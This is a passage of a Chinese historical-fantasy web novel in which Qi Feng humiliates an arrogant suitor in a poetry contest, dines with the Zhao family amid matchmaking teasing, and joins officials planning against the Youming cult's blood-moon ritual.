“在下齐枫。”齐枫拱手,语气依旧平静,“与明兰是朋友。”
“齐枫?”王承宇愣了一下,随即反应过来,眼中闪过一丝不屑,“你就是那个春闱榜首?不过是个穷书生,也敢管我的事?我告诉你,我跟赵小姐的事,轮不到你插嘴!”
赵夫人见状,连忙上前拉住王承宇:“王公子息怒!齐公子是明兰的朋友,也是个有才华的人,您别跟他一般见识。咱们今日是来做客的,别伤了和气。”
王夫人和李夫人也连忙劝和,一人拉着王承宇,一人拉着赵明兰,厅内顿时乱成一团。
檀香依旧袅袅,可原本雅致的气氛早已荡然无存,只剩下争吵声和劝和声,混着水晶灯的光晕,显得格外热闹又尴尬。
齐枫站在原地,看着眼前的混乱,心中无奈。
他本以为只是来当个“挡箭牌”,却没想到会遇上这么一场闹剧。
王承宇看向他的眼神,已经充满了敌意,显然是把他当成了“情敌”。
第两百一十一章 傲慢无礼
王夫人闻言,立刻笑着附和:“承宇这孩子,就是嘴刁!不过王家的好茶,确实是府城一绝,上次我去做客,喝了一口那碧螺春,到现在还惦记着呢!”
李夫人也跟着点头:“可不是嘛!王公子年轻有为,家里又这么殷实,哪家姑娘嫁过去,都是天大的福气!赵夫人,您说是不是?”
赵夫人脸上堆着笑,心里却有些不自在。
她早就听说王承宇性子傲慢,今日一见,果然名不虚传。
可想到自家女儿的婚事,还是耐着性子道:“王公子确实优秀。我家明兰性子直,要是以后真能跟王公子走到一起,还得劳烦王公子多担待。”
王承宇闻言,眼中闪过一丝得意,却故意皱起眉头:“赵夫人说笑了。我王家虽不算顶尖世家,可也不是什么人都能进的。不过看在赵大人的面子上,我倒可以跟赵小姐处处看,只要她安分守己,别耍小性子,我倒也不是不能接受。”
这话听得王夫人和李夫人都有些尴尬。
赵夫人脸上的笑容也淡了几分,却还是强撑着道:“明兰那孩子就是年纪小,等再大些就懂事了。她也快回来了,咱们再等等。”
王承宇不耐烦地瞥了眼窗外,带着几分抱怨:“这都快巳时了,赵小姐怎么还没来?莫非是不想见我,故意拖延?”
“王公子莫急,”赵夫人连忙安抚,“明兰许是路上遇到什么事了,再等等,再等等。”
就在这时,厅外传来一阵轻快的脚步声,伴随着丫鬟的通报:“小姐回来了!还带了位公子!”
众人纷纷抬头望去,只见赵明兰拉着齐枫的手,快步从回廊走进前厅。
赵明兰穿着鹅黄长裙,脸上带着雀跃的笑意,头发随意地挽了个髻,插着一支珍珠簪子,少了几分官家小姐的端庄,多了几分灵动。
齐枫则身着青衫,虽胸前的衣襟还残留着些许豆浆的痕迹,却难掩一身清隽的气质,手中折扇轻摇,目光平静地扫过厅内众人,带着几分从容。
赵夫人看到齐枫,眼睛瞬间睁大,手中的茶盏差点脱手。
她虽见过齐枫几次,却没想到女儿会突然把他带到家里来,还拉着他的手,姿态亲昵得不像话。
王夫人和李夫人也愣住了,两人对视一眼,都从对方眼中看到了惊讶和八卦,手中的帕子都忘了挥动。
唯独王承宇,从未见过赵明兰,也不认识齐枫。
他的目光先是被赵明兰的美貌吸引,眼睛一亮。
赵明兰生得明眸皓齿,肌肤胜雪,笑起来时还有两个浅浅的梨涡,比他见过的那些商户小姐不知好看多少倍。
他下意识地整理了一下锦袍,挺直了腰板,却还是带着几分轻佻:“赵夫人,这位姑娘是?莫非是您的另一位千金?生得可真漂亮!要是赵小姐有这位姑娘一半好看,我倒也认了。”
这话一出,赵明兰脸上的笑容瞬间消失,她猛地瞪向王承宇,叉着腰,俏脸带着几分怒意:“瞎了你的狗眼!姑奶奶就是赵明兰!什么一半好看?我看你是眼神不好,该找个大夫治治!”
王承宇瞬间僵在原地,眼睛瞪得像铜铃,难以置信地看着赵明兰。
他刚才还在心里盘算着怎么“将就”赵小姐,却没想到眼前这位漂亮又泼辣的姑娘,就是自己要相亲的对象!
他张了张嘴,半天没说出话来,手指下意识地攥紧了腰间的玉佩,脸上的傲慢瞬间被震惊取代。
赵夫人也没想到女儿一进门就发脾气,连忙起身打圆场:“明兰!不得无礼!这位是王公子,快给王公子道歉!”
“我凭什么道歉?”赵明兰梗着脖子,拉着齐枫的手更紧了些,“是他先胡说八道的!什么叫我只有这位姑娘一半好看?他自己长得油头粉面,还好意思说别人!”
齐枫站在一旁,看着眼前的闹剧,无奈地摇了摇头。
他轻轻拍了拍赵明兰的手,低声道:“别冲动,有话好好说。”
赵明兰却没听劝,依旧瞪着王承宇:“我才
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不跟他好好说!这种人,一看就不是什么好东西,油腔滑调的,我才不要跟他相亲!”
王承宇这才缓过神,脸上的震惊变成了恼怒。
他何时受过这种气?在府城,哪家小姐见了他不是毕恭毕敬?
眼前这赵明兰,不仅长得没他想象中“温顺”,还敢当众骂他,简直是反了天了!
“你敢骂我?”王承宇猛地站起身,手指着赵明兰,脸上带着几分戾气,“我王家在府城是什么地位?你一个小小的官家小姐,也敢跟我这么说话?信不信我让你爹丢了乌纱帽!”
“你敢威胁我?”赵明兰也怒了,就要上前理论,却被齐枫拉住。
齐枫上前一步,挡在赵明兰身前,目光平静地看着王承宇:“王公子,明兰性子直,说话难免冲了些,你何必跟她计较?而且,你刚才的话确实不妥,道歉也是应该的。”
王承宇看着齐枫,眼中闪过一丝疑惑:“你是谁?这里有你说话的份吗?”
“在下齐枫。”齐枫拱手,语气依旧平静,“与明兰是朋友。”
“齐枫?”王承宇愣了一下,随即反应过来,眼中闪过一丝不屑,“你就是那个春闱榜首?不过是个穷书生,也敢管我的事?我告诉你,我跟赵小姐的事,轮不到你插嘴!”
赵夫人见状,连忙上前拉住王承宇:“王公子息怒!齐公子是明兰的朋友,也是个有才华的人,您别跟他一般见识。咱们今日是来做客的,别伤了和气。”
王夫人和李夫人也连忙劝和,一人拉着王承宇,一人拉着赵明兰,厅内顿时乱成一团。
檀香依旧袅袅,可原本雅致的气氛早已荡然无存,只剩下争吵声和劝和声,混着水晶灯的光晕,显得格外热闹又尴尬。
齐枫站在原地,看着眼前的混乱,心中无奈。
他本以为只是来当个“挡箭牌”,却没想到会遇上这么一场闹剧。
王承宇看向他的眼神,已经充满了敌意,显然是把他当成了“情敌”。
第二百一十二章 折辱
赵府前厅的气氛瞬间剑拔**张。
王承宇被齐枫挡在身前,看着对方从容不迫的模样,心头的怒意更甚,手指着齐枫的鼻子,声音拔高了几分。
“穷书生也敢管我的闲事?我看你是吃了熊心豹子胆!信不信我让下人把你扔出去,再让你这春闱榜首的名头变成笑话!”
齐枫闻言,只是淡淡一笑,手中折扇轻轻一合。
“王公子何必动怒?不过是几句口角,犯不着动粗。再说,明兰不愿与你相亲,强扭的瓜不甜,你就算把我扔出去,又能改变什么?”
“我改变什么,轮得到你管?”王承宇梗着脖子,眼神轻蔑地扫过齐枫,“你以为你中了个榜首就了不起?不过是运气好罢了!我王家有的是银子,就算你以后当了官,也未必有我过得舒坦!”
赵夫人连忙上前打圆场:“王公子,齐公子,都是误会,有话好好说。今日请大家来,是想让孩子们认识认识,可不是来吵架的。”
王夫人也跟着劝道:“是啊是啊,承宇,你少说两句。齐公子是有才华的人,咱们别伤了和气。”
李夫人则拉着赵明兰的手,小声道:“明兰,你也别冲动。王公子就是性子直,没有坏心眼。”
赵明兰却不买账,挣脱李夫人的手,走到齐枫身边,对着王承宇冷哼:“什么没有坏心眼?他一进门就对我评头论足,还威胁齐枫,这种人,我才不稀罕认识!”
王承宇被噎得脸色涨红,指着赵明兰,又看看齐枫,气不打一处来:“好!好得很!你们俩合起伙来欺负我!我告诉你们,这事没完!”
齐枫看着他气急败坏的模样,微微一笑,依旧还是保持着平静:“王公子,我劝你还是冷静些。你若真有本事,就不该靠家世和威胁来彰显自己,而是用实力说话。”
“实力?我需要跟你这穷书生比实力?”王承宇嗤笑一声,从怀中掏出一锭金元宝,重重拍在八仙桌上,“看到没?这就是我的实力!你一辈子都赚不到这么多银子!你能吗?”
金元宝在灯光下闪着刺眼的光芒,王承宇脸上满是得意,仿佛这锭银子就能让齐枫俯首称臣。
赵夫人和两位夫人见状,都露出了尴尬的神色。
王承宇这举动,实在太过市侩,完全没了世家公子的体面。
齐枫却只是瞥了眼金元宝,嘴角勾起一抹淡笑:“银子确实是好东西,可也不是万能的。王公子若只会用银子来衡量实力,未免太过浅薄。”
“浅薄?”王承宇像是听到了天大的笑话,“我看你是吃不到葡萄说葡萄酸!你要是有银子,还会穿这身洗得发白的青衫?还会当个穷书生?”
他顿了顿,一脸挑衅:“既然你说我浅薄,那咱们就比一比!你不是春闱榜首吗?咱们就比作诗!谁作的诗好,谁就有资格站在赵小姐身边!你敢不敢?”
赵明兰闻言,连忙拉着齐枫的胳膊:“齐枫,别跟他比!这种人,根本不配跟你比诗!”
齐枫却拍了拍她的手,示意她放心,然后看向王承宇,笑着点头:“好啊,既然王公子有兴致,那我便陪你玩玩。不过,光比作诗未免太过单调,不如再加个赌注,若是你输了,就给明兰道歉,并且以后不再纠缠她,若是我输了,我便离开府城,不再与明兰往来。如何?”
王承宇没想到齐枫这么痛快就答应了,眼中闪过一丝惊讶,随即又被得意取代。
“好!就这么定!我倒要看看,你这春闱榜首,到底有多少真本事!”
赵夫人见两人已经定下赌注,也不再劝和,只能让人准备笔墨纸砚,又请众人移步到隔壁的雅间。
那里宽敞雅致,更适合作诗。
雅间内陈设精致,墙上挂着名家字画,桌上摆放着上好的宣纸和狼毫笔。
王承宇率先走到桌前,拿起笔,沾了沾墨,略一思索,便在宣纸上挥毫泼墨。
他写的是一首七言绝句,内
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容无非是夸赞自己家世显赫、才华出众,字里行间满是傲慢。
写完后,他得意地将笔一扔,对着众人道:“大家看看,这诗怎么样?我觉得比那些酸秀才写的强多了!”
王夫人和李夫人连忙凑上前,虽然觉得诗句俗套,却还是违心地夸赞:“好!写得好!有气势!”
赵夫人也只能跟着点头,心中却对王承宇更加不满。
这首诗别说跟齐枫比,就算跟府城的普通书生比,也差了一大截。
王承宇见众人夸赞,更加得意,看向齐枫的眼神充满了挑衅:“该你了!别告诉我你写不出来,要是认输,现在道歉还来得及!”
齐枫走到桌前,拿起笔,没有丝毫犹豫,笔尖在宣纸上飞快地移动。
他写的也是一首七言绝句,却与王承宇的俗套截然不同。
诗中描绘了南街的烟火气、百姓的寻常生活,语言质朴却意境深远,字里行间满是对民生的关怀,比王承宇的诗高出不止一个档次。
写完后,齐枫放下笔,对着众人道:“献丑了。”
众人凑上前一看,顿时眼前一亮。
赵夫人忍不住念出声:“青石巷陌起炊烟,稚子追蝶戏院前。莫道人间无雅趣,一粥一饭也香甜。好!写得太好了!这才是有情怀的好诗!”
王夫人和李夫人也由衷地赞叹:“齐公子果然有才华!这首诗比王公子的好多了,有血有肉,还接地气!”
赵明兰更是兴奋地拉着齐枫的手,对着王承宇得意地挑眉:“看到没?这才叫才华!你那诗,跟齐枫的比起来,就是垃圾!”
王承宇看着宣纸上的诗句,又听着众人的夸赞,脸色一阵青一阵白,气得浑身发抖。
他怎么也没想到,自己精心写的诗,居然会被齐枫轻易比下去!
他不甘心地指着齐枫的诗,强词夺理:“这诗写得什么东西?全是些鸡毛蒜皮的小事,根本算不上好诗!你就是在糊弄大家!”
第两百一十三章 一饭一粥也香甜
齐枫闻言,只是淡淡道:“诗言志,词言情。我写百姓的生活,是因为我觉得这才是最真实的人间。王公子写自己的家世,也是你的志向。只是,比起你的自夸,大家显然更喜欢贴近生活的诗句。”
“你!”王承宇被噎得说不出话,眼中闪过一丝狠厉,突然伸手就要去撕齐枫的诗,“我看你就是在**!这诗肯定不是你写的!”
齐枫眼疾手快,一把抓住他的手腕,脸色冷了几分:“王公子,愿赌服输,何必如此失态?你要是输不起,当初就不该跟我打赌。”
王承宇被齐枫抓得动弹不得,手腕上传来一阵剧痛,他又气又怕,却还是嘴硬:“放开我!你敢对我动手?我爹不会放过你的!”
“不放过我?”齐枫轻笑一声,松开手,“我倒要看看,你爹怎么不放过我。不过,你现在该做的,是给明兰道歉。”
王承宇揉着手腕,看着周围人鄙夷的目光,脸上火辣辣的疼。
他知道自己今天颜面尽失,再待下去只会更丢人,只能恶狠狠地瞪着齐枫,撂下一句狠话:“你给我等着!这事没完!我一定会让你付出代价!”
说罢,他再也不敢停留,转身狼狈地跑出雅间,连自己的金元宝都忘了拿。
看着王承宇落荒而逃的背影,众人都松了一口气。
赵明兰笑得前仰后合:“哈哈!他跑得真快!像只丧家之犬!齐枫,你太厉害了!”
赵夫人也对着齐枫拱手道:“齐公子,今日多谢你了。若不是你,还不知道要闹到什么时候。”
齐枫摆手笑道:“举手之劳罢了。只是让王公子丢了面子,怕是会引来麻烦。”
赵夫人叹了口气:“麻烦就麻烦吧,总比让明兰嫁给那种人好。再说,有你和赵大人在,王家也不敢太过放肆。”
王夫人和李夫人也跟着附和,又夸赞了齐枫几句,才起身告辞。
雅间内只剩下齐枫、赵明兰和赵夫人三人。
赵夫人看着两人亲密的模样,眼中闪过一丝了然,笑着道:“明兰,齐公子,你们俩的事,我看就这么定了。等过段时间,我跟你叔父商量一下,选个好日子,让你们俩定亲。”
赵明兰闻言,脸颊瞬间通红,连忙摆手:“娘!我跟齐枫只是朋友!不是你想的那样!”
齐枫也跟着解释:“赵夫人,我跟明兰确实只是朋友,今日之事,不过是个误会。”
赵夫人却不信,笑着道:“你们俩就别骗我了。我看得出来,齐公子对明兰有心,明兰也喜欢齐公子。这事就这么定了,我不会再给明兰安排相亲了。”
齐枫和赵明兰对视一眼,赵明兰不知道,反正齐枫是挺无奈。
赵夫人握着齐枫的手不肯松开,眼神里的热切几乎要溢出来:“齐公子,今日说什么也得留下来吃饭!厨房一早就杀了活鲤鱼,张师傅的糖醋鲤鱼可是府城一绝,连你赵叔父都念叨了半个月。”
“还有东坡肉,是用慢火炖了三个时辰的,肥而不腻,入口即化,明兰特意让厨房多放了冰糖,说你爱吃甜口的。”
齐枫被她拉得微微前倾,鼻尖萦绕着她身上淡淡的檀香,余光瞥见赵明兰在一旁捂着嘴偷笑,无奈又好笑。
“赵夫人盛情难却,晚辈若是再推辞,倒显得不识抬举了。只是叨扰许久,已是过意不去,再留下吃饭,怕是要让您破费了。”
“破费什么?”赵夫人笑着拍了拍他的手背,一脸长辈的亲昵,“你能来家里,比什么都强!明兰这丫头,长这么大,还是头一次带年轻公子回家吃饭,我高兴还来不及呢!”
这话听得赵明兰脸颊瞬间通红,她连忙上前拉开赵夫人的手,嗔怪道:“娘!你胡说什么呢!你别乱点鸳鸯谱!”
“好好好,朋友,朋友。”赵夫人嘴上应着,眼神却在两人之间打转,笑得意味深长,“快坐快坐,菜马上就好。丫鬟,去把我那坛二十年的女儿
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红温上,再拿几碟精致的小点心来,齐公子是读书人,饭前垫垫肚子。”
丫鬟脆生生应下,提着裙摆快步往后院厨房走去。
赵明兰拉着齐枫在八仙桌旁坐下,趁赵夫人不注意,凑到他耳边小声嘀咕:“我娘就是这样,见谁都想撮合,你别往心里去。等会儿吃饭的时候,她要是再胡说,我帮你挡着。”
齐枫侧头看她,阳光透过窗棂落在她发间,映得她眼底亮晶晶的,忍不住调侃:“怎么?怕我真跟你定亲,委屈了我?”
“谁委屈你了!”赵明兰瞪了他一眼,却没松开拉着他衣袖的手,“我长得又不难看,琴棋书画也会一点,嫁给你,是你赚了!”
齐枫被她逗笑,刚想再说些什么,就见丫鬟端着几碟点心走了进来。
一碟桂花糕,一碟杏仁酥,还有一碟水晶肘子,都是赵明兰爱吃的。
赵夫人拿起一块桂花糕,递到齐枫面前:“齐公子,尝尝这个,是明兰早上亲自看着厨房做的,她说你在金山寺就爱吃这个。”
齐枫接过桂花糕,咬了一口,松软的糕体裹着桂花的甜香,还带着淡淡的蜂蜜味,确实比寻常铺子的好吃,忍不住点头。
“好吃,比醉月楼的还多几分清甜。”
赵明兰立刻得意地扬起下巴,对着赵夫人邀功:“娘,我就说齐枫会喜欢吧!我特意让厨房多加了桂花和蜂蜜,还少放了糖,怕太甜腻。”
“还是我家明兰细心。”赵夫人笑着给赵明兰也夹了块杏仁酥,“你也吃,别光顾着跟齐公子说话,小心噎着。”
三人正说着话,厨房的张师傅亲自端着糖醋鲤鱼走了进来。
鱼身金黄油亮,浇着琥珀色的酱汁,撒着翠绿的葱花和鲜红的辣椒丝,刚一放在桌上,酸甜的香气就瞬间弥漫开来,勾得人食指大动。
紧接着,东坡肉、清炒时蔬、香菇扒油菜也陆续上桌,满满一桌子菜,色泽诱人,香气扑鼻。
第两百一十四章 解释不清了
“齐公子,快尝尝这糖醋鲤鱼。”赵夫人给齐枫夹了一大块鱼肉,“张师傅做鱼有诀窍,先炸后炖,酱汁里还加了陈年陈醋和冰糖,酸甜适中,你肯定爱吃。”
齐枫尝了一口,鱼肉外酥里嫩,酱汁裹得均匀,酸中带甜,还带着淡淡的葱姜香,确实美味,忍不住赞道:“张师傅的手艺真是绝了!这鱼肉外酥里嫩,酱汁也调得恰到好处,比我在杭州吃的还好吃。”
“喜欢就多吃点。”赵夫人笑得眉眼弯弯,又给齐枫夹了块东坡肉,“这东坡肉也好吃,慢火炖了三个时辰,肥油都炖出来了,一点不腻,你试试。”
齐枫咬了一口东坡肉,入口即化,肉香混合着酱油和冰糖的味道,满口生津,连忙点头:“好吃!肥而不腻,还带着点酒香,太绝了。”
赵明兰见他吃得开心,也跟着高兴,不停地给齐枫夹菜,一会儿夹个青菜,一会儿递个馒头,很快齐枫的碗里就堆成了小山。
齐枫哭笑不得,却也只能慢慢吃着,偶尔跟赵夫人聊几句锦绣阁的生意,或是府城的近况。
“齐公子,你锦绣阁的丝绸生意,最近是不是拓展到云州了?”赵夫人忽然问道,“我听你赵叔父说,有个云州的大商人来府城,专门跟你谈合作,还说要把你的丝绸卖到云州去。”
齐枫点头:“是有这事。那位霍老板是云州的商盟首领,很有实力,跟他合作,能把锦绣阁的生意做得更大。不过还在筹备阶段,第一批货预计下个月发往云州。”
“好啊!”赵夫人赞道,“你这孩子,不仅有才华,做生意也这么厉害!比那些只会啃老的纨绔强多了。明兰要是能跟你学学,我就放心了。”
赵明兰不满地嘟着嘴:“娘!我也很厉害的!上次我帮齐枫卖丝绸,一天就卖了五十匹!”
“是是是,你厉害。”赵夫人笑着揉了揉她的头发,“不过还是要多跟齐公子学学,人家不仅会卖丝绸,还会作诗,你得多学学人家的优点。”
齐枫连忙打圆场:“明兰已经很厉害了,性格直爽,还很有正义感,上次袁浩然找我麻烦,还是她帮我说话。”
赵明兰听到夸奖,脸颊更红了,却嘴硬道:“那是应该的!你是我的朋友,我当然要帮你!”
赵夫人看着两人互动,眼中的笑意更浓,又给齐枫倒了杯女儿红:“齐公子,尝尝这酒,是我当年的陪嫁,存了二十年了,平时都舍不得拿出来。今日你来了,才特意温了一壶。”
齐枫端起酒杯,浅抿一口,酒液入口绵柔,带着淡淡的果香,后劲却足,暖意在喉咙里缓缓散开,忍不住赞道:“好酒!比我之前喝的陈年女儿红还好,入口绵柔,回味悠长。”
“喜欢就多喝点。”赵夫人又给齐枫满上,“这酒喝了暖身子,你最近忙着锦绣阁的事,肯定累坏了,多喝点补补。”
赵明兰却连忙按住齐枫的酒杯:“娘!齐枫还要去府衙呢,喝多了酒不好。再说,他酒量也不算好,上次在醉月楼,喝了两杯就脸红了。”
齐枫:“……”
他什么时候酒量不好了?明明是上次故意装醉躲酒!
赵夫人笑着拍了拍赵明兰的手:“放心,就喝这两杯,不碍事。齐公子是读书人,喝点酒还能激发灵感呢。”
齐枫无奈,只能陪着喝了两杯,脸颊很快就泛起红晕。
赵明兰见了,忍不住偷笑:“我就说你酒量不好,还不信!你看,脸都红了,像个熟透的苹果。”
齐枫没反驳,跟这丫头争辩,只会被她调侃得更厉害。
一顿饭吃了约莫一个时辰,桌上的菜也吃得差不多了。
丫鬟们收拾碗筷时,赵夫人又拉着齐枫聊起了殿试的事:“齐公子,你殿试准备得怎么样了?春闱榜首已经很厉害了,要是能再中个状元,那可真是光宗耀祖了!你赵叔父说了,要是你能中状元,他亲自去京城为你庆贺。”
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齐枫放下茶杯,擦了擦嘴,脸上带着几分从容:“还在准备。殿试考的策论,关乎国家民生,我还得再多读些史书和兵法,免得到时候出丑。前几日还跟周子陵他们讨论过边境的防务,收获不少。”
“你有这份心就好。”赵夫人点头,“我听说今年的主考官是李大人,他最看重有真才实学的人,你这么有才华,肯定能得到他的赏识,要是需要什么资料,尽管跟我说,我让你赵叔父帮你找,他在京城认识不少官员,找些稀缺的兵法孤本还是没问题的。”
“多谢赵夫人。”齐枫点点头,“若是有需要,我定会开口。不过目前还够用,周子陵家有不少藏书,我经常去他家看书。”
赵明兰却在一旁插嘴:“娘,你别总说这些严肃的话题!齐枫好不容易来家里吃饭,咱们聊点开心的!齐枫还经常给我讲故事呢!”
赵夫人笑着点头:“齐公子懂得真多,还能教人道理,比那些枯燥的经书有意思多了。明兰以前不爱读书,听了你讲的故事,现在也愿意看些史书了。”
齐枫闻言,心中微暖。
能让赵明兰对读书产生兴趣,也算是意外之喜。
他刚想再说个故事,就见厅外传来一阵急促的脚步声,一个身着官服的小厮快步走进来,对着赵夫人躬身行礼:“夫人,大人让小人来请齐公子,说有要事与齐公子商议,还请齐公子即刻随小人去府衙。”
赵夫人闻言,连忙道:“既是赵大人找你,那你快去吧。别让他等急了。”
齐枫松了口气,终于不用再应付赵夫人的“催婚”了。
他连忙起身对着赵夫人拱手:“多谢赵夫人今日的款待,晚辈告辞了。改日有空,再来看您和明兰。”
赵明兰也跟着起身,拉着齐枫的手,俏脸带着几分不舍:“齐枫,你办完事后记得来找我!我还有事跟你说,我娘答应给你装一坛女儿红,你别忘了拿!”
第两百一十五章 议事
齐枫点头:“好,我知道了。你也别总跟你娘拌嘴,她也是为你好。”
他跟着小厮走出前厅,穿过赵府的庭院,看着两旁修剪整齐的花木,心中终于松了口气。
只是他很好奇,赵明德找自己到底有什么要事,竟如此急切。
走出赵府大门时,阳光正好,南街的喧嚣依旧。
齐枫抬头看了眼府衙的方向,心中隐隐有种预感。
赵明德找自己,或许与幽冥教的血月祭,或是袁惊尘有关。
他深吸一口气,加快脚步,跟着小厮朝着府衙的方向走去。
身后还传来赵明兰的叮嘱:“齐枫,路上小心!记得拿酒!”
齐枫回头挥了挥手,看着赵明兰站在赵府门口,鹅黄长裙在阳光下格外显眼,心中忽然泛起一丝暖意。
这丫头虽然调皮,却也真诚,能有这样的朋友,也算是穿越到这个世界的意外之喜。
府衙的议事厅内,长桌被擦拭得锃亮,桌上摊开的卷宗边缘泛着旧黄,“幽冥教”“血月祭”等朱批字样格外醒目。
赵明德身着绯色官服,端坐在主位,手指无意识地敲击着桌沿,眉头拧成一个“川”字。
卢正淳一袭常服,手持一把折扇,却没半分闲情雅致,只是反复摩挲着扇骨,眼神凝重。
萧无痕则靠在椅背上,红衣下摆垂落在青砖地上,圆月弯刀的刀柄泛着冷光,周身散发的寒气让厅内的温度都仿佛降了几分。
齐枫刚踏入厅门,便被这股压抑的气氛裹住,连呼吸都下意识放轻。
他快步上前,对着三人拱手行礼:“齐枫见过赵大人、卢大人、萧大人。不知三位大人急召齐某前来,有何要事?”
赵明德连忙起身,脸上的凝重稍缓,伸手示意他落座:“齐贤弟不必多礼,快坐。今日找你,是关于幽冥教的新动向,我已经把金山寺的事、还有你查到的血月祭线索,都跟萧大人说了。”
齐枫在长桌侧位坐下,目光扫过卷宗上的墨迹,看到“千人精血”“聚阴之地”等字眼时,心中了然。
他抬眸看向萧无痕,见对方正盯着自己,眼神锐利,显然是在打量。
萧无痕率先开口:“齐公子,此番真是多亏你识破了幽冥教的阴谋!”
齐枫拱手谦逊道:“齐某不过是恰逢其会,萧大人为追查龙佩与幽冥教才是真的辛苦。”
“辛苦谈不上,职责所在。”萧无痕端起茶盏,“本官没想到,幽冥教覆灭十年,竟还能死灰复燃。十年前,本官方才随叔父围剿幽冥教时,便见识过他们的狠辣。”
“教徒以活人精血修炼噬魂夺魄功,死在他们手下的武林正道,光是有名有姓的就有数百人。如今他们敢在府城策划血月祭,妄图以千人精血提升邪功,可见其野心不小。”
卢正淳闻言,叹了口气:“萧大人说得是。幽冥教的**太过诡异,寻常武者根本抵挡不住。”
赵明德也点头附和,手指点了点卷宗上的“血月之夜”:“更棘手的是,慧能大师推算,血月祭定在两月后的血月之夜,咱们必须在这两个月内布好局,否则一旦让他们集齐千人精血,不仅府城百姓遭殃,连周边城镇都可能被波及。”
齐枫沉吟片刻,缓缓道:“齐某以为,当务之急有三,其一,派重兵驻守城西聚阴之地,分三班轮岗,日夜巡查,一旦发现黑衣人影或异常布幡,立刻拿下,其二,联合丐帮与江湖门派,丐帮熟悉街头动向,能护住流浪汉、孤儿这些易被盯上的弱势群体。”
“江湖门派则可派高手协助官府,对抗幽冥教的邪功,其三,严查府城内外的流动人口,尤其是近期新来的外乡商人、香客,幽冥教极可能借着这些身份隐藏踪迹,甚至已在府城安插了内奸。”
萧无痕听完:“齐公子所言,与本官方才的想法不谋而合。看来,本官方才果然没看错人。不过,本官方才还有一事想问,齐公子对黑风刀段飞
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这事有何看法?”
这话一出,厅内的气氛瞬间凝固。
赵明德和卢正淳对视一眼,都从对方眼中看到了担忧。
段飞是朝廷通缉的重犯,萧无痕突然提起,显然是在试探。
齐枫心中一动,面上却依旧平静,坦然道:“萧大人说笑了,段飞此人桀骜不驯,齐某对于他知之甚少,实在无从评价!”
萧无痕盯着他看了片刻,见他神色坦然,没有半分慌乱,便也不再追问,只是淡淡道:“段飞武功高强,如今可能还在府城游荡,齐公子最近声名显赫,小心为上!”
“齐某明白,多谢萧大人提醒。”齐枫拱手应下。
萧无痕果然没放下对自己的怀疑!
萧无痕不再多言,起身对着赵明德和卢正淳拱手:“两位大人,关于幽冥教的部署已议得差不多,本官方才这就去安排人手,加强巡逻。若是有新线索,再与二位和齐公子商议。”
赵明德点头:“有劳萧大人。务必嘱咐手下多加小心,幽冥教教徒手段诡异,不可大意。”
萧无痕应了一声,转身带着锦衣卫离开。
红衣身影消失在厅门外时,厅内压抑的气氛才终于消散了几分。
齐枫看着萧无痕离去的方向,忍不住苦笑一声。
赵明德见状,连忙问道:“齐贤弟,为何苦笑?莫非是觉得萧大人太过严苛?”
齐枫摇了摇头,一脸无奈:“晚辈并非觉得萧大人严苛,只是从他的话里话外能看出,他依旧在怀疑晚辈,怀疑晚辈与段飞有关,甚至可能与幽冥教、前朝余孽有牵扯。”
卢正淳笑着摇了摇头:“齐公子不必介怀。萧大人身为锦衣卫指挥使,职责就是追查异己、排查隐患,多疑是常事。当年围剿幽冥教时,他连自己人都要反复核查,更何况是你这突然冒头的春闱榜首?再说,他心里也清楚,你若真与幽冥教有关,也不会主动提供血月祭的线索,更不会帮着官府布防。”
第两百一十六章 正中下怀
赵明德也点头附和,拍了拍齐枫的肩膀:“卢大人说得是。齐贤弟,你放心,无论萧大人如何怀疑,我和卢大人都是信得过你的,如今幽冥教的事,也多亏你奔走,你是什么样的人,我们心里有数。就算萧大人那边有疑虑,我们也会为你作证。”
齐枫心中一暖,拱手道:“多谢两位大人信任。晚辈定不会让二位失望,定会全力协助官府,阻止血月祭,铲除幽冥教。”
他嘴上说着感激,心中却暗自盘算。
让萧无痕保持“怀疑”,其实正中下怀。
只要萧无痕的注意力都在自己身上,就不会轻易查到楚清秋和霍天都头上,这对复国计划来说,反而是层最好的掩护。
赵明德看着齐枫从容的模样,脸上的凝重一扫而空,取而代之的是促狭的笑意:“对了,齐贤弟,本官方才还听人说,你今日去了明兰家,还跟明兰那丫头互相有意?明兰拉着你手进门时,我那小妹眼睛都亮了,还跟王公子闹了一场,把人给气跑了,怎么,你这是打算跟我家小侄女求亲啊?”
卢正淳闻言,顿时来了兴致,笑着打趣:“哦?还有这事?齐公子,赵小姐可是府城有名的美人,性子直爽,又对你有意,你若是能娶到她,可真是好福气!赵大人,你这是要多半个女婿了啊!”
齐枫:“……”
他怎么也没想到,赵明德会突然提起这事,连忙摆手解释:“赵大人,卢大人,这都是误会!齐某只是帮明兰姑娘当个‘挡箭牌’,让她躲过王公子的相亲,并非真的与她互相有意。赵夫人误会了,还望两位大人不要当真。”
赵明德却笑得更欢了,手指点了点他:“误会?本官方才听人说,你不仅吃了家里的饭,还喝了小妹珍藏的二十年女儿红,临走时明兰还拉着你不放,让你记得拿酒,若是单纯的挡箭牌,哪会这么亲近?”
齐枫看着赵明德促狭的眼神,又看看卢正淳看热闹的模样,只觉得一个头两个大。
这场乌龙,怕是要从赵府传到府衙,想解释都解释不清了。
赵明德继续道:“齐贤弟,你就别嘴硬了!明兰那丫头我从小看着长大,性子骄纵,除了我和她娘,谁的话都不听。如今肯拉着你的手进门,还为你跟王公子翻脸,这要是没点心思,打死我都不信!”
卢正淳也跟着打趣:“可不是嘛!赵小姐那样的性子,能主动带年轻公子回家吃饭,还让夫人温了二十年的女儿红,这待遇,府城多少世家公子求都求不来!齐公子,你就别藏着掖着了,承认吧!”
齐枫被两人说得脸颊发烫,无奈道:“两位大人,真的是误会!明兰姑娘只是让我帮忙挡相亲,我们俩就是朋友。再说,我现在一心准备殿试,哪有心思考虑婚事?”
“准备殿试和谈婚论嫁又不冲突。”赵明德摆手,脸上依旧满是促狭,“你要是真跟明兰成了,我这个做叔父的,还能帮你在京城打点打点,对你殿试也有好处。再说,明兰那丫头虽然调皮,却也心善,嫁去你家,定能帮你打理好家事,让你没有后顾之忧。”
卢正淳也跟着附和:“赵大人说得是。齐公子,你年纪也不小了,该考虑终身大事了。赵小姐家世好、模样好,跟你正好般配,这可是天赐的良缘,可别错过了!”
齐枫看着两人一唱一和,知道再解释也没用,只能无奈地叹了口气:“两位大人,晚辈真的没这个心思。等殿试结束后,再说这些也不迟。”
赵明德见他态度坚决,也不再多劝,只是笑着道:“好好好,不逼你。不过,明兰那丫头对你的心思,府城怕是很快就要传遍了,你可得做好准备。”
卢正淳也笑着点头:“是啊,到时候怕是有不少人要羡慕你了!”
齐枫:“……”
